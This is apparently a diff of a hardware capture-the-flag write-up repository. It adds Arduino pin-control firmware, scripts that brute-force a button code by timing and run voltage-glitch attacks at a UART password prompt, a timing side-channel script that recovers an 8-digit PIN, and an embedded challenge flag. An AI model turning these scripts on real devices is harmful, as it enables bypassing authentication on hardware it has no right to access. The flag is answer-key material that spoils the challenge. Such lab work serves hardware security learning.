+| SET_FOR | SET_FOR:9:HIGH:500 | ACK:SET_FOR:9:HIGH:500 | Sets an output pin to a state for a duration (ms). |
+| | | | Automatically reverts afterwards. |
+| | | | |
+| WATCH | WATCH:2 | ACK:WATCH:2 | Begins monitoring an input pin. Reports state changes as: |
+| | | CHANGE:2:HIGH:1421 | - Pin number, new state, and duration since last change. |
+| | | | |
+| GET_STATE | GET_STATE:2 | STATE:2:LOW | Returns current digital state of a specified pin. |
+| | | | |
+| GET_DURATION | GET_DURATION:2 | DURATION:2:1431 | Returns elapsed time since the pin’s last state change. |
+| | | | |
+| WAIT_FOR | WAIT_FOR:2:HIGH | WAIT_RESULT:2:HIGH:1432 | Waits until a pin reaches target state; returns duration. |
+| | | | |
+| ERROR HANDLING | UNKNOWN COMMAND | ERROR:UNKNOWN_COMMAND | Returned if a command is unrecognised or malformed. |
++----------------+--------------------------------+-------------------------------------+-------------------------------------------------------------+
+
+=====================================================================
+OPERATIONAL NOTES
+---------------------------------------------------------------------
+- Baud rate: 115200
+- Line termination: newline ('\n')
+- States are HIGH or LOW
+- Durations in milliseconds
+- All commands and responses are ASCII
+
+=====================================================================
+*/
+
+#include
+
+// ------------------------------------------------------------------
+// Board-specific pin range detection
+// ------------------------------------------------------------------
+#if defined(ARDUINO_AVR_UNO) || defined(ARDUINO_AVR_NANO)
+ const int FIRST_PIN = 2;
+ const int LAST_PIN = 13;
+#elif defined(ARDUINO_AVR_MEGA2560)
+ const int FIRST_PIN = 2;
+ const int LAST_PIN = 53;
+#elif defined(ARDUINO_AVR_LEONARDO)
+ const int FIRST_PIN = 2;
+ const int LAST_PIN = 13;
+#else
+ const int FIRST_PIN = 2;
+ const int LAST_PIN = 13;
+#endif
+
+const int NUM_PINS = LAST_PIN - FIRST_PIN + 1;
+
+// ------------------------------------------------------------------
+// Dynamic role and state tracking
+// ------------------------------------------------------------------
+bool isInput[NUM_PINS];
+bool isOutput[NUM_PINS];
+bool watching[NUM_PINS];
+unsigned long lastChangeTime[NUM_PINS];
+int lastState[NUM_PINS];
+
+// ------------------------------------------------------------------
+// Setup
+// ------------------------------------------------------------------
+void setup() {
+ Serial.begin(115200);
+
+ // Default: all usable pins configured as OUTPUT and LOW
+ for (int i = 0; i < NUM_PINS; i++) {
+ int pin = FIRST_PIN + i;
+ pinMode(pin, OUTPUT);
+ digitalWrite(pin, LOW);
+ isInput[i] = false;
+ isOutput[i] = true;
+ watching[i] = false;
+ lastState[i] = LOW;
+ lastChangeTime[i] = millis();
+ }
+
+ Serial.println("READY");
+}
+
+// ------------------------------------------------------------------
+// Main loop
+// ------------------------------------------------------------------
+void loop() {
+ handleSerial();
+ monitorWatchedPins();
+}
+
+// ------------------------------------------------------------------
+// Serial command processing
+// ------------------------------------------------------------------
+void handleSerial() {
+ static String inputString = "";
+ while (Serial.available()) {
+ char c = Serial.read();
+ if (c == '\n') {
+ inputString.trim();
+ processCommand(inputString);
+ inputString = "";
+ } else {
+ inputString += c;
+ }
+ }
+}
+
+// ------------------------------------------------------------------
+// Command dispatcher
+// ------------------------------------------------------------------
+void processCommand(String cmd) {
+ if (cmd == "GET_VERSION") {
+ Serial.println("VERSION:1.3.0");
+ } else if (cmd == "GET_PINMAP") {
+ handleGetPinmap();
+ } else if (cmd.startsWith("SET_MODE")) {
+ handleSetMode(cmd);
+ } else if (cmd.startsWith("SET_DEFAULT")) {
+ handleSetDefault(cmd);
+ } else if (cmd.startsWith("SET_FOR")) {
+ handleSetFor(cmd);
+ } else if (cmd.startsWith("WATCH")) {
+ handleWatch(cmd);
+ } else if (cmd.startsWith("GET_STATE")) {
+ handleGetState(cmd);
+ } else if (cmd.startsWith("GET_DURATION")) {
+ handleGetDuration(cmd);
+ } else if (cmd.startsWith("WAIT_FOR")) {
+ handleWaitFor(cmd);
+ } else {
+ Serial.println("ERROR:UNKNOWN_COMMAND");
+ }
+}
+
+// ------------------------------------------------------------------
+// Command handlers
+// ------------------------------------------------------------------
+
+// --- SET_MODE:PIN:MODE ------------------------------------------------
+void handleSetMode(String cmd) {
+ int first = cmd.indexOf(':');
+ int second = cmd.indexOf(':', first + 1);
+ if (first == -1 || second == -1) return;
+
+ int pin = cmd.substring(first + 1, second).toInt();
+ String mode = cmd.substring(second + 1);
+
+ if (pin < FIRST_PIN || pin > LAST_PIN) {
+ Serial.println("ERROR:INVALID_PIN");
+ return;
+ }
+
+ int index = pin - FIRST_PIN;
+ if (mode == "INPUT") {
+ pinMode(pin, INPUT);
+ isInput[index] = true;
+ isOutput[index] = false;
+ } else if (mode == "OUTPUT") {
+ pinMode(pin, OUTPUT);
+ isInput[index] = false;
+ isOutput[index] = true;
+ } else {
+ Serial.println("ERROR:INVALID_MODE");
+ return;
+ }
+
+ Serial.print("ACK:SET_MODE:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.println(mode);
+}
+
+// --- GET_PINMAP -------------------------------------------------------
+void handleGetPinmap() {
+ String response = "PINMAP:INPUT:";
+ bool firstInput = true;
+ for (int i = 0; i < NUM_PINS; i++) {
+ if (isInput[i]) {
+ if (!firstInput) response += ",";
+ response += String(FIRST_PIN + i);
+ firstInput = false;
+ }
+ }
+ response += ";OUTPUT:";
+ bool firstOutput = true;
+ for (int i = 0; i < NUM_PINS; i++) {
+ if (isOutput[i]) {
+ if (!firstOutput) response += ",";
+ response += String(FIRST_PIN + i);
+ firstOutput = false;
+ }
+ }
+ Serial.println(response);
+}
+
+// --- SET_DEFAULT:PIN:STATE --------------------------------------------
+void handleSetDefault(String cmd) {
+ int first = cmd.indexOf(':');
+ int second = cmd.indexOf(':', first + 1);
+ if (first == -1 || second == -1) return;
+
+ int pin = cmd.substring(first + 1, second).toInt();
+ String stateStr = cmd.substring(second + 1);
+ bool state = (stateStr == "HIGH");
+
+ digitalWrite(pin, state ? HIGH : LOW);
+ Serial.print("ACK:SET_DEFAULT:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.println(state ? "HIGH" : "LOW");
+}
+
+// --- SET_FOR:PIN:STATE:DURATION ---------------------------------------
+void handleSetFor(String cmd) {
+ int first = cmd.indexOf(':');
+ int second = cmd.indexOf(':', first + 1);
+ int third = cmd.indexOf(':', second + 1);
+ if (first == -1 || second == -1 || third == -1) return;
+
+ int pin = cmd.substring(first + 1, second).toInt();
+ String stateStr = cmd.substring(second + 1, third);
+ unsigned long duration = cmd.substring(third + 1).toInt();
+ bool state = (stateStr == "HIGH");
+
+ digitalWrite(pin, state ? HIGH : LOW);
+ delay(duration);
+ digitalWrite(pin, state ? LOW : HIGH);
+
+ Serial.print("ACK:SET_FOR:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.print(state ? "HIGH" : "LOW");
+ Serial.print(":");
+ Serial.println(duration);
+}
+
+// --- WATCH:PIN ---------------------------------------------------------
+void handleWatch(String cmd) {
+ int first = cmd.indexOf(':');
+ if (first == -1) return;
+
+ int pin = cmd.substring(first + 1).toInt();
+ int index = pin - FIRST_PIN;
+ if (index < 0 || index >= NUM_PINS || !isInput[index]) {
+ Serial.println("ERROR:INVALID_PIN");
+ return;
+ }
+ watching[index] = true;
+ Serial.print("ACK:WATCH:");
+ Serial.println(pin);
+}
+
+// --- GET_STATE:PIN -----------------------------------------------------
+void handleGetState(String cmd) {
+ int first = cmd.indexOf(':');
+ if (first == -1) return;
+ int pin = cmd.substring(first + 1).toInt();
+ int state = digitalRead(pin);
+ Serial.print("STATE:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.println(state == HIGH ? "HIGH" : "LOW");
+}
+
+// --- GET_DURATION:PIN --------------------------------------------------
+void handleGetDuration(String cmd) {
+ int first = cmd.indexOf(':');
+ if (first == -1) return;
+ int pin = cmd.substring(first + 1).toInt();
+ int index = pin - FIRST_PIN;
+ if (index < 0 || index >= NUM_PINS) return;
+ unsigned long duration = millis() - lastChangeTime[index];
+ Serial.print("DURATION:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.println(duration);
+}
+
+// --- WAIT_FOR:PIN:STATE ------------------------------------------------
+void handleWaitFor(String cmd) {
+ int first = cmd.indexOf(':');
+ int second = cmd.indexOf(':', first + 1);
+ if (first == -1 || second == -1) return;
+ int pin = cmd.substring(first + 1, second).toInt();
+ String targetStateStr = cmd.substring(second + 1);
+ bool targetState = (targetStateStr == "HIGH");
+ unsigned long startTime = millis();
+ while (digitalRead(pin) != targetState) {
+ delay(1);
+ }
+ unsigned long duration = millis() - startTime;
+ Serial.print("WAIT_RESULT:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.print(targetState ? "HIGH" : "LOW");
+ Serial.print(":");
+ Serial.println(duration);
+}
+
+// ------------------------------------------------------------------
+// Watch monitoring
+// ------------------------------------------------------------------
+void monitorWatchedPins() {
+ for (int i = 0; i < NUM_PINS; i++) {
+ if (watching[i] && isInput[i]) {
+ int pin = FIRST_PIN + i;
+ int currentState = digitalRead(pin);
+ if (currentState != lastState[i]) {
+ unsigned long now = millis();
+ unsigned long duration = now - lastChangeTime[i];
+ lastChangeTime[i] = now;
+ lastState[i] = currentState;
+ Serial.print("CHANGE:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.print(currentState == HIGH ? "HIGH" : "LOW");
+ Serial.print(":");
+ Serial.println(duration);
+ }
+ }
+ }
+}
diff --git a/docs/09_header_pins.png b/docs/09_header_pins.png
new file mode 100644
index 0000000..6b970b5
--- /dev/null
+++ b/docs/09_header_pins.png
Binary files differ
diff --git a/docs/09_logic_01.png b/docs/09_logic_01.png
new file mode 100644
index 0000000..ee2983b
--- /dev/null
+++ b/docs/09_logic_01.png
Binary files differ
diff --git a/docs/09_logic_02.png b/docs/09_logic_02.png
new file mode 100644
index 0000000..ea925d4
--- /dev/null
+++ b/docs/09_logic_02.png
Binary files differ
diff --git a/docs/09_logic_03.png b/docs/09_logic_03.png
new file mode 100644
index 0000000..4270c11
--- /dev/null
+++ b/docs/09_logic_03.png
Binary files differ
diff --git a/docs/09_result.png b/docs/09_result.png
new file mode 100644
index 0000000..69d6d2f
--- /dev/null
+++ b/docs/09_result.png
Binary files differ
diff --git a/docs/09_setup.png b/docs/09_setup.png
new file mode 100644
index 0000000..b73fbf5
--- /dev/null
+++ b/docs/09_setup.png
Binary files differ
diff --git a/docs/10_GoB.png b/docs/10_GoB.png
new file mode 100644
index 0000000..f694e8c
--- /dev/null
+++ b/docs/10_GoB.png
Binary files differ
diff --git a/docs/10_GoB_config.py b/docs/10_GoB_config.py
new file mode 100644
index 0000000..01de69c
--- /dev/null
+++ b/docs/10_GoB_config.py
@@ -0,0 +1,152 @@
+######
+# LEAVE THESE IMPORTS!
+######
+from arduinIO import ArduinoController
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+
+######
+# arduinIO values
+######
+ARDIO_PORT = "/dev/ttyACM2"
+ARDIO_BAUDRATE = 115200
+ARDIO_INPUT_PIN = 2
+ARDIO_OUTPUT_PINS = [8, 9, 10, 11] # ok, space, dot, dash
+ARDIO_PULSE_DURATION_MS = 300
+
+arduino = ArduinoController(port=ARDIO_PORT, baudrate=ARDIO_BAUDRATE)
+arduino.connect()
+
+###
+# name, enabled, string to match
+###
+conditions = [
+ ['rdy', False, "", 'setup_buttons'],
+ ['ok', False, "", 'button_ok'],
+ ['dash', False, "", 'button_dash'],
+ ['spce', False, "", 'button_space'],
+ ['dot', False, "", 'button_dot'],
+ ['check', False, "", 'echo_trigger_state'],
+ ['run', False, "", 'find_code'],
+ ["Flag", True, "TS{", "stop_glitch"],
+]
+
+######
+# Custom functions
+######
+def setup_buttons():
+ version = arduino.get_version()
+ functions.add_text(f"[INFO] Connected to Arduino: {version}")
+
+ # Configure pins
+ functions.add_text("[INFO] Configuring pin modes...")
+ arduino.set_mode(ARDIO_INPUT_PIN, "INPUT")
+ for pin in ARDIO_OUTPUT_PINS:
+ arduino.set_mode(pin, "OUTPUT")
+ arduino.set_default(pin, "LOW")
+
+ # Display current configuration
+ pinmap = arduino.get_pinmap()
+ functions.add_text(f"[INFO] Pin map: {pinmap}")
+
+
+def button_ok():
+ # Pulse one output pin
+ functions.add_text(f"[INFO] Pulsing output pin 8 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def button_dash():
+ functions.add_text(f"[INFO] Pulsing output pin 11 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(11, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def button_space():
+ functions.add_text(f"[INFO] Pulsing output pin 9 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(9, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def button_dot():
+ functions.add_text(f"[INFO] Pulsing output pin 10 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(10, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def echo_trigger_state():
+ state = arduino.get_state(ARDIO_INPUT_PIN)
+ functions.add_text(f"[INFO] Input pin {ARDIO_INPUT_PIN} is currently {state}")
+
+def find_code():
+ candidate_pins = [8, 9, 10, 11] # include pin 8 as a candidate
+ code_sequence = []
+ pin_to_symbol = {8: "OK", 9: "*", 10: ".", 11: "-"}
+
+ functions.add_text("[INFO] Starting full code discovery sequence")
+
+ for digit_index in range(4):
+ functions.add_text(f"[INFO] Finding digit {digit_index + 1}")
+ results = {}
+
+ for test_pin in candidate_pins:
+ # Build the sequence: previously found digits + candidate repeated to fill 4 pulses
+ sequence = code_sequence.copy()
+ remaining_pulses = 4 - len(sequence)
+ sequence += [test_pin] * remaining_pulses
+ symbol_seq = [pin_to_symbol.get(pin, str(pin)) for pin in sequence]
+ functions.add_text(f"[TEST] Testing candidate pin {test_pin} ({pin_to_symbol.get(test_pin)}), "
+ f"sequence: {' '.join(symbol_seq)}")
+
+ # Send all pulses in the sequence, starting timer immediately before the fourth pulse
+ for i, pin in enumerate(sequence):
+ if i == len(sequence) - 1:
+ # Start timer immediately before sending the fourth pulse
+ start_time = time.time()
+ arduino.set_for(pin, "HIGH", ARDIO_PULSE_DURATION_MS)
+ # Allow a short interval for the device to react
+ time.sleep(0.05)
+ # Wait for the input to go HIGH and capture result
+ result = arduino.wait_for(ARDIO_INPUT_PIN, "HIGH")
+ end_time = time.time()
+
+ # Safely extract duration from result or compute fallback
+ if isinstance(result, dict):
+ duration = result.get("duration_ms",
+ int((end_time - start_time) * 1000))
+ else:
+ duration = int((end_time - start_time) * 1000)
+
+ functions.add_text(f"[RESULT] Candidate pin {test_pin} - LOW->HIGH {duration} ms.")
+ results[test_pin] = duration
+ else:
+ arduino.set_for(pin, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+ # small pause between candidates
+ time.sleep(0.8)
+
+ # Choose the candidate with the longest duration for this digit
+ correct_pin = max(results, key=results.get)
+ code_sequence.append(correct_pin)
+
+ functions.add_text(f"[INFO] Digit {digit_index + 1} identified (pin): {correct_pin}")
+ functions.add_text(f"[INFO] Digit {digit_index + 1} identified (symbol): "
+ f"{pin_to_symbol.get(correct_pin)}")
+
+ translated_sequence = [pin_to_symbol.get(pin, str(pin)) for pin in code_sequence]
+ functions.add_text(f"[INFO] Full code sequence identified (pins): {code_sequence}")
+ functions.add_text(f"[INFO] Full code sequence identified (symbols): {translated_sequence}")
+
+ return code_sequence, translated_sequence
+
+def stop_glitch():
+ functions.set_uart_switch(False)
\ No newline at end of file
diff --git a/docs/10_setup.png b/docs/10_setup.png
new file mode 100644
index 0000000..008945c
--- /dev/null
+++ b/docs/10_setup.png
Binary files differ
diff --git a/docs/11_GoB.png b/docs/11_GoB.png
new file mode 100644
index 0000000..07f38ae
--- /dev/null
+++ b/docs/11_GoB.png
Binary files differ
diff --git a/docs/11_GoB_config.py b/docs/11_GoB_config.py
new file mode 100644
index 0000000..f7e8036
--- /dev/null
+++ b/docs/11_GoB_config.py
@@ -0,0 +1,123 @@
+import functions
+import threading
+import time
+
+###### Config values ######
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 1000000
+UART_NEWLINE = "\n"
+
+LENGTH = 12
+REPEAT = 1
+DELAY = 0
+
+### name, enabled, string to match ###
+conditions = [
+ ['run', True, 'Password:', 'try_glitch'],
+ ["Flag", True, "TS{", "stop_glitch"],
+]
+
+###### Custom functions ######
+def try_glitch():
+ Len = functions.get_config_value("length")
+ Rep = functions.get_config_value("repeat")
+ Del = functions.get_config_value("delay")
+ time.sleep(0.2)
+
+ tx_thread = threading.Thread(
+ target=functions.send_uart_message,
+ args=("aaaaaaaaaaaaaaaaaaaaa",),
+ daemon=True
+ )
+
+ glitch_thread = threading.Thread(
+ target=functions.start_glitch,
+ args=(Len, Rep, Del),
+ daemon=True
+ )
+
+ glitch_thread.start()
+ tx_thread.start()
+
+ try:
+ current_delay = int(Del)
+ except (ValueError, TypeError):
+ current_delay = 0
+
+ try:
+ current_repeat = int(Rep)
+ except (ValueError, TypeError):
+ current_repeat = 0
+
+ new_delay = current_delay + 1
+
+ if new_delay >= 51:
+ new_delay = 0
+ new_repeat = current_repeat + 1
+ if new_repeat >= 20:
+ new_repeat = 1
+ functions.set_config_value("repeat", new_repeat)
+
+ functions.set_config_value("delay", new_delay)
+
+
+def stop_glitch():
+ buf = functions.read_uart_buffer()
+
+ if "TS{D@mn_y0u_@r3_g006}" in buf:
+ functions.start_glitch(16, 1, 0)
+ else:
+ functions.set_condition_value(0, False)
+ functions.set_uart_switch(False)
+
+
+###### Inactivity watchdog ######
+def config_inactivity_monitor(timeout=5):
+ """
+ Monitor 'delay' and 'repeat' configuration values.
+ Restart device if they do not change for 'timeout' seconds
+ AND condition 0 remains True.
+ """
+ # Wait for functions.config to be initialised
+ while True:
+ try:
+ _ = functions.get_config_value("delay")
+ break
+ except AttributeError:
+ print("[Watchdog] Waiting for configuration to initialise...")
+ time.sleep(1)
+
+ last_delay = functions.get_config_value("delay")
+ last_repeat = functions.get_config_value("repeat")
+ last_change_time = time.time()
+
+ while True:
+ try:
+ current_delay = functions.get_config_value("delay")
+ current_repeat = functions.get_config_value("repeat")
+ condition_active = functions.get_condition_value(0)
+
+ if str(current_delay) != str(last_delay) or str(current_repeat) != str(last_repeat):
+ last_change_time = time.time()
+ last_delay = current_delay
+ last_repeat = current_repeat
+
+ if condition_active and (time.time() - last_change_time > timeout):
+ print("[Watchdog] Inactivity detected. Restarting glitch...")
+ functions.start_glitch(16, 1, 0)
+ last_change_time = time.time()
+
+ except Exception as e:
+ print(f"[Watchdog Error] {e}")
+
+ time.sleep(1)
+
+
+# Start watchdog thread after slight delay to allow initialisation
+def start_watchdog():
+ time.sleep(2) # ensures 'functions.config' is ready
+ monitor_thread = threading.Thread(target=config_inactivity_monitor, daemon=True)
+ monitor_thread.start()
+
+
+threading.Thread(target=start_watchdog, daemon=True).start()
diff --git a/docs/11_glitch_wrong_flag.png b/docs/11_glitch_wrong_flag.png
new file mode 100644
index 0000000..8d57b59
--- /dev/null
+++ b/docs/11_glitch_wrong_flag.png
Binary files differ
diff --git a/docs/11_logic.png b/docs/11_logic.png
new file mode 100644
index 0000000..c7de52c
--- /dev/null
+++ b/docs/11_logic.png
Binary files differ
diff --git a/docs/11_setup.png b/docs/11_setup.png
new file mode 100644
index 0000000..e5a7396
--- /dev/null
+++ b/docs/11_setup.png
Binary files differ
diff --git a/docs/12_discovery.png b/docs/12_discovery.png
new file mode 100644
index 0000000..06b2737
--- /dev/null
+++ b/docs/12_discovery.png
Binary files differ
diff --git a/docs/12_logic.png b/docs/12_logic.png
new file mode 100644
index 0000000..fe8662a
--- /dev/null
+++ b/docs/12_logic.png
Binary files differ
diff --git a/docs/12_setup.png b/docs/12_setup.png
new file mode 100644
index 0000000..5293caf
--- /dev/null
+++ b/docs/12_setup.png
Binary files differ
diff --git a/docs/12_solution.py b/docs/12_solution.py
new file mode 100644
index 0000000..c5188aa
--- /dev/null
+++ b/docs/12_solution.py
@@ -0,0 +1,274 @@
+#!/usr/bin/env python3
+"""
+=====================================================================
+UART Timing Analysis PIN Discovery Script (configurable start)
+=====================================================================
+Performs timing-based side-channel analysis to discover an 8-digit PIN
+via UART, using the Arduino I/O controller for synchronised monitoring.
+
+This variant allows pre-setting a starting code (prefix) and the
+starting position index so that discovery may resume part-way through.
+Version: 1.3
+=====================================================================
+"""
+
+import time
+import serial
+from arduinIO import ArduinoController
+
+# ================================================================
+# Configuration
+# ================================================================
+
+###### UART Configuration ######
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 1199
+UART_NEWLINE = "\n"
+
+###### Arduino I/O Configuration ######
+ARDIO_PORT = "/dev/ttyACM0"
+ARDIO_BAUDRATE = 115200
+ARDIO_INPUT_PIN = 2
+
+###### Analysis Parameters ######
+PIN_LENGTH = 8
+KEYSPACE = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9']
+PAD_CHAR = 'A'
+ATTEMPTS_PER_CANDIDATE = 1
+
+# Optionally set a starting prefix and a starting position.
+# START_CODE is the known prefix (string). It may be empty.
+# START_POS is the zero-based index at which to begin discovery.
+# Example: START_CODE = "253", START_POS = 3 will begin at position 4.
+START_CODE = "" # e.g. "253"
+START_POS = 0 # zero-based index (0..PIN_LENGTH-1). Must equal len(START_CODE).
+
+###### Delay Configuration (seconds) ######
+INTER_ATTEMPT_DELAY = 1.5 # Delay between attempts of same candidate
+SEND_SETTLE_DELAY = 0.5 # Delay after sending message before reading input
+POSITION_SETTLE_DELAY = 0.05 # Delay after finishing one position
+MAX_WAIT_MS = 800 # Maximum wait for input response
+MAX_UPPER_BOUND_MS = 1000 # initial upper bound for valid durations (ms)
+
+# ================================================================
+# Helper Functions
+# ================================================================
+
+def log(msg: str, level: str = "INFO"):
+ """Structured log output with level labels."""
+ prefix = {
+ "INFO": "\033[94m[INFO]\033[0m",
+ "TEST": "\033[93m[TEST]\033[0m",
+ "ATTEMPT": "\033[90m[ATTEMPT]\033[0m",
+ "RESULT": "\033[92m[RESULT]\033[0m",
+ "ERROR": "\033[91m[ERROR]\033[0m",
+ "SUCCESS": "\033[96m[SUCCESS]\033[0m"
+ }.get(level, "[LOG]")
+ print(f"{prefix} {msg}")
+
+
+def send_uart_message(ser, message: str):
+ """Send full message to UART target."""
+ if not message.endswith(UART_NEWLINE):
+ message += UART_NEWLINE
+ ser.write(message.encode("utf-8"))
+ ser.flush()
+
+
+def validate_start_settings():
+ """Validate START_CODE and START_POS consistency and bounds."""
+ if not isinstance(START_CODE, str):
+ raise ValueError("START_CODE must be a string.")
+ if not isinstance(START_POS, int):
+ raise ValueError("START_POS must be an integer.")
+ if len(START_CODE) != START_POS:
+ raise ValueError("Length of START_CODE must equal START_POS.")
+ if START_POS < 0 or START_POS > PIN_LENGTH:
+ raise ValueError("START_POS out of valid range.")
+ if len(START_CODE) > PIN_LENGTH:
+ raise ValueError("START_CODE longer than PIN_LENGTH.")
+
+
+# ================================================================
+# PIN Discovery Logic
+# ================================================================
+
+def find_code(ser, arduino):
+ """
+ Discover the PIN by measuring time from send until LED (ARDIO_INPUT_PIN) goes LOW.
+
+ Important: no UART reading occurs during the timed interval. UART is only
+ drained before sending (to remove stale lines) and immediately after the
+ timing measurement completes. This avoids introducing extra delay into
+ the critical timing path.
+ """
+
+ validate_start_settings()
+ log("Starting PIN discovery (timing with no mid-send UART checks)", "INFO")
+
+ discovered = START_CODE
+ start_pos = START_POS
+
+ remaining_positions = PIN_LENGTH - start_pos
+ if remaining_positions <= 0:
+ log(f"No positions to discover. Current code: {discovered}", "INFO")
+ return discovered
+
+ total_candidates = len(KEYSPACE)
+ total_attempts = remaining_positions * total_candidates * ATTEMPTS_PER_CANDIDATE
+ eta_start = time.time()
+ attempts_done = 0
+
+ for pos in range(start_pos, PIN_LENGTH):
+ human_pos = pos + 1
+ log(f"Analysing position {human_pos}/{PIN_LENGTH}", "INFO")
+ timings = {}
+
+ # Upper bound grows with each identified position (relative index)
+ relative_index = pos - start_pos
+ upper_bound = MAX_UPPER_BOUND_MS + relative_index * 20
+
+ for idx, candidate in enumerate(KEYSPACE):
+ candidate_pin = discovered + candidate + (PAD_CHAR * (PIN_LENGTH - len(discovered) - 1))
+ durations = []
+
+ for attempt in range(ATTEMPTS_PER_CANDIDATE):
+ # Best-effort non-blocking drain of stale UART lines BEFORE sending
+ try:
+ while ser.in_waiting:
+ _ = ser.readline() # discard
+ except Exception:
+ pass
+
+ # Clear any previous short event records on Arduino
+ try:
+ arduino.watch_pin(ARDIO_INPUT_PIN, duration_ms=1)
+ except Exception:
+ pass
+
+ # Start timing immediately before send (critical interval begins)
+ t_start = time.time()
+ send_uart_message(ser, candidate_pin + UART_NEWLINE)
+
+ # short settle after send (does not affect measurement start)
+ time.sleep(SEND_SETTLE_DELAY)
+
+ # Perform event-based capture (no UART reads here)
+ dur_ms = 0
+ try:
+ events = arduino.watch_pin(ARDIO_INPUT_PIN, duration_ms=MAX_WAIT_MS)
+ except Exception:
+ events = []
+
+ if events:
+ low_event = next((ev for ev in events if ev.get("state") == "LOW"), None)
+ if low_event:
+ dur_ms = low_event.get("duration_ms", 0)
+
+ # Fallback blocking wait_if_no_event (still no UART reads)
+ if dur_ms == 0:
+ try:
+ result = arduino.wait_for(ARDIO_INPUT_PIN, "LOW")
+ t_end = time.time()
+ if isinstance(result, dict):
+ dur_ms = result.get("duration_ms", int((t_end - t_start) * 1000))
+ else:
+ dur_ms = int((t_end - t_start) * 1000)
+ except Exception:
+ dur_ms = 0
+
+ # Immediately after measurement, drain UART non-blocking and check for success
+ try:
+ while ser.in_waiting:
+ line = ser.readline().decode(errors='ignore').strip()
+ if line and line.startswith("TS{"):
+ # Found success; append this candidate and return the discovered code
+ discovered += candidate
+ log(f"Device accepted code via UART: {line} -> {discovered}", "SUCCESS")
+ return discovered
+ except Exception:
+ # ignore serial read errors and continue
+ pass
+
+ # Only include durations that lie within the allowed window
+ if 600 <= dur_ms <= upper_bound:
+ durations.append(dur_ms)
+
+ # Update ETA (safe to compute outside critical interval)
+ attempts_done += 1
+ elapsed = time.time() - eta_start
+ avg_time_per_attempt = (elapsed / attempts_done) if attempts_done else 0.0
+ remaining_attempts = total_attempts - attempts_done
+ eta_remaining = remaining_attempts * avg_time_per_attempt
+ eta_min, eta_sec = divmod(int(eta_remaining), 60)
+
+ # Overwrite attempt line
+ print(f"\r\033[90m[ATTEMPT]\033[0m {candidate} attempt {attempt + 1}/{ATTEMPTS_PER_CANDIDATE} → {dur_ms} ms | ETA: {eta_min}m {eta_sec}s", end='', flush=True)
+
+ time.sleep(INTER_ATTEMPT_DELAY)
+
+ # newline after candidate block
+ #print()
+
+ # Compute average using only valid durations
+ avg_duration = (sum(durations) / len(durations)) if durations else 0.0
+ timings[candidate] = avg_duration
+ print(f"\r\033[92m[RESULT]\033[0m Candidate '{candidate}' average LOW-delay: {avg_duration:.2f} ms", end='', flush=True)
+ print()
+
+ # Select best candidate (largest average); fallback to '0' if none valid
+ if any(v > 0 for v in timings.values()):
+ selected = max(timings, key=timings.get)
+ else:
+ selected = '0'
+
+ discovered += selected
+ log(f"Position {human_pos} selected: '{selected}' (avg {timings.get(selected, 0.0):.2f} ms)", "INFO")
+
+ # Progress display
+ print(f"\n ┌───────────────────────────────┐")
+ print(f" │ Progress: {discovered:<8} │")
+ print(f" └───────────────────────────────┘\n")
+
+ # Optional settle between positions; keep minimal if timing-sensitive
+ if POSITION_SETTLE_DELAY:
+ time.sleep(POSITION_SETTLE_DELAY)
+
+ log(f"[SUCCESS] PIN discovery complete → {discovered}", "SUCCESS")
+ return discovered
+
+
+
+# ================================================================
+# Main Execution
+# ================================================================
+
+def main():
+ log("Initialising Arduino controller...", "INFO")
+ arduino = ArduinoController(port=ARDIO_PORT, baudrate=ARDIO_BAUDRATE)
+ arduino.connect()
+ version = arduino.get_version()
+ log(f"Connected to Arduino firmware {version}", "INFO")
+
+ arduino.set_mode(ARDIO_INPUT_PIN, "INPUT")
+ log(f"Configured Arduino input pin {ARDIO_INPUT_PIN}", "INFO")
+
+ log(f"Connecting to UART target on {SERIAL_PORT} at {BAUD_RATE} baud...", "INFO")
+ ser = serial.Serial(SERIAL_PORT, BAUD_RATE, timeout=1)
+ log("UART connection established", "INFO")
+
+ try:
+ pin = find_code(ser, arduino)
+ log(f"Discovered PIN: {pin}", "SUCCESS")
+ except KeyboardInterrupt:
+ log("Process interrupted by user", "ERROR")
+ except Exception as e:
+ log(f"Unexpected error: {e}", "ERROR")
+ finally:
+ ser.close()
+ arduino.disconnect()
+ log("Connections closed", "INFO")
+
+
+if __name__ == "__main__":
+ main()
diff --git a/01.md b/01.md
new file mode 100644
index 0000000..bee686a
--- /dev/null
+++ b/01.md
@@ -0,0 +1,23 @@
+# **Challenge 1: "Serial Snitch"**
+
+As a skilled hardware hacker, you've intercepted a mysterious device recovered from a rogue tech syndicate. The device, dubbed **"Specter-1"**, controls access to a secret underground server, but its interface remains locked behind an unknown UART configuration.
+
+Your mission is clear:
+
+1. **Identify the UART pins** you've uncovered during your investigation.
+2. **Determine the correct baud rate** to establish a stable connection.
+3. **Access the device’s command interface** and unlock control over the system’s lighting grid.
+
+## Setup
+
+
+
+## Notes
+
+The baudrate was a standard one, simply connecting the right wires and using the correct baudrate I was able to gain access (and the flag)
+
+Of course I made a glitch-o-bolt config for this: [01_GoB_config.py](docs/01_GoB_config.py)
+
+It looks as follows:
+
+
\ No newline at end of file
diff --git a/02.md b/02.md
new file mode 100644
index 0000000..4a2fa20
--- /dev/null
+++ b/02.md
